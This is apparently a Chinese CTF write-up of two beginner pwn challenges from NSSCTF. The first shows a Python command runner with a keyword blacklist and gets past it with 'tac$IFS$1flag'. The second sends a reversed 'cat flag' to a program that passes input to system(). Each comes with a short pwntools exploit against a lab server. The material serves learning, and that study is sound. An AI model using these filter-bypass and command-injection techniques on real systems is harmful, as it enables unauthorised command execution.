NSSCTFpwn刷题

[SWPUCTF 2021 新生赛]nc签到

打开附件里面内容

import os

art = '''

   ((  "####@@!!$$    ))
       `#####@@!$$`  ))
    ((  '####@!!$:
   ((  ,####@!!$:   ))
       .###@!!$:
       `##@@!$:
        `#@!!$
  !@#    `#@!$:       @#$
   #$     `#@!$:       !@!
            '@!$:
        '`\   "!$: /`'
           '\  '!: /'
             "\ : /"
  -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)

blacklist是黑名单的意思

也就是说里面的内容都被禁了,所以我们需要绕过

cat可以用tac来代替

空格' ' 可以用 $IFS1 代替,也就是tacIFS$1flag

编写exp

from pwn import*
p = remote('node4.anna.nssctf.cn',28808)
data = p.recv() 
p.sendline('tac$IFS$1flag')
p.interactive()

[NISACTF 2022]ReorPwn?

查看一下附件

checksec 1

64位的,ok

找到main函数,F5

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("evcexe ot tnaw uoy tahw em lleT:");
  gets(a);
  fun(a);
  system(a);
  return 0;
}

evcexe ot tnaw uoy tahw em lleT

Tell me what you want to execve

告诉我你想要执行什么

双击fun

双击system

分析一下程序,用户的输入被存到了变量a中,a经过fun函数后,传入system函数执行,也就是说,command就是a,也就是用户的输入。

直接galf tac得到flag

编写exp

from pwn import*
p = remote("node4.anna.nssctf.cn",28447)
p.sendline('galf tac')
p.interactive()

NSSCTF{ee0c2423-7c37-4e3a-a969-430fbaf645d2}

相关推荐
所愿ღ1 分钟前
Java线程
java·开发语言·笔记
荔枝点~1 分钟前
使用GitLab+Jenkins搭建CICD执行环境
java·ci/cd·gitlab·jenkins·运维开发
Run Out Of Brain2 分钟前
使用MySQL APT源在Linux上安装MySQL
linux·数据库·mysql
盐盐88769015 分钟前
【信息系统项目管理师】【综合知识】【备考知识点】【思维导图】第九章 项目范围管理
网络·经验分享·笔记·学习·运维开发
威视锐科技18 分钟前
YunSDR通信小课堂-28
网络·网络协议·信息与通信
躲在没风的地方23 分钟前
spring cloud微服务分布式架构
java·spring boot·spring cloud·微服务·架构
半夏知半秋24 分钟前
python中常用的内置函数介绍
服务器·开发语言·笔记·后端·python·学习
大兵编码30 分钟前
linux命令行连接Postgresql常用命令
linux·postgresql·oracle
二十雨辰31 分钟前
[微服务]分布式搜索--数据聚合
java·elasticsearch
customer0840 分钟前
【开源免费】基于SpringBoot+Vue.JS海滨学院班级回忆录系统(JAVA毕业设计)
java·vue.js·spring boot·后端·spring cloud·maven·intellij-idea